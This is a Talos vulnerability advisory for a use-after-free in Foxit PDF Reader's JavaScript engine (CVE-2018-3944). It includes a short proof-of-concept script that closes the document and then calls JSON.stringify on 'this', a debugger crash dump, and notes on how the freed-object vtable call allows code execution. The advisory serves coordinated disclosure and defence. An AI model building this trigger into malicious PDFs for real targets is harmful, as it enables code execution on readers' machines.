Talos Vulnerability Report

TALOS-2018-0611

Foxit PDF Reader JavaScript JSON.Stringify this remote code execution vulnerability

October 1, 2018
CVE Number

CVE-2018-3944

Summary

An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software's PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit Software Foxit PDF Reader 9.1.0.5096.

Product URLs

https://www.foxitsoftware.com/products/pdf-reader/

CVSSv3 Score

8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416: Use-after-free

Details

Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.

When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.

This particular vulnerability lies in invoking the JSON.Stringify method of the active document with the this object as argument, which can trigger a use-after-free condition like in the following code:

function f0() {
var a; 
 app.activeDocs[0].closeDoc();
 a = this; 
 JSON.stringify(a); 

}

f0();

In the above code, we make a reference to the this object as variable a. Then, the document is closed. Afterward, calling JSON.stringify with a as argument leads to a use-after-free vulnerability.

Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:

(1160.1618): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12abfff0 ebx=12a16f28 ecx=0e9d4da8 edx=0024dedc esi=12abfff0 edi=0024dfa8
eip=01b5d1c5 esp=0024de40 ebp=0024de9c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
FoxitReader!CryptVerifyMessageSignature+0x85915:
01b5d1c5 8b01            mov     eax,dword ptr [ecx]  ds:0023:0e9d4da8=????????
0:000> k 4
 # ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0024de9c 01b62599 FoxitReader!CryptVerifyMessageSignature+0x85915
01 0024def8 0172182e FoxitReader!CryptVerifyMessageSignature+0x8ace9
02 0024df3c 02c29d10 FoxitReader+0x38182e
03 0024df68 02ab4403 FoxitReader!CryptVerifyMessageSignature+0x1152460
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x85915:
01b5d1c5 8b01            mov     eax,dword ptr [ecx]
01b5d1c7 8b5004          mov     edx,dword ptr [eax+4]
01b5d1ca ffd2            call    edx
01b5d1cc 85c0            test    eax,eax
01b5d1ce 74d2            je      FoxitReader!CryptVerifyMessageSignature+0x858f2 (01b5d1a2)
01b5d1d0 8b705c          mov     esi,dword ptr [eax+5Ch]
01b5d1d3 85f6            test    esi,esi
01b5d1d5 74cb            je      FoxitReader!CryptVerifyMessageSignature+0x858f2 (01b5d1a2)

Analyzing the heap state clearly shows that ecx points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see eax being used as a vtable pointer, ultimately leading to call instruction with controllable operand. Since the contents of memory pointed to by ecx can easily be controlled, this leads to relatively straightforward conditions for arbitrary code execution.

Note that this vulnerability is almost the same as the use-after-free condition triggered in JSON.stringify triggered with this.info object described in TALOS-2018-0612, but in this case, a different object is actually reused and the crash occurs in a different place.

Timeline

2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.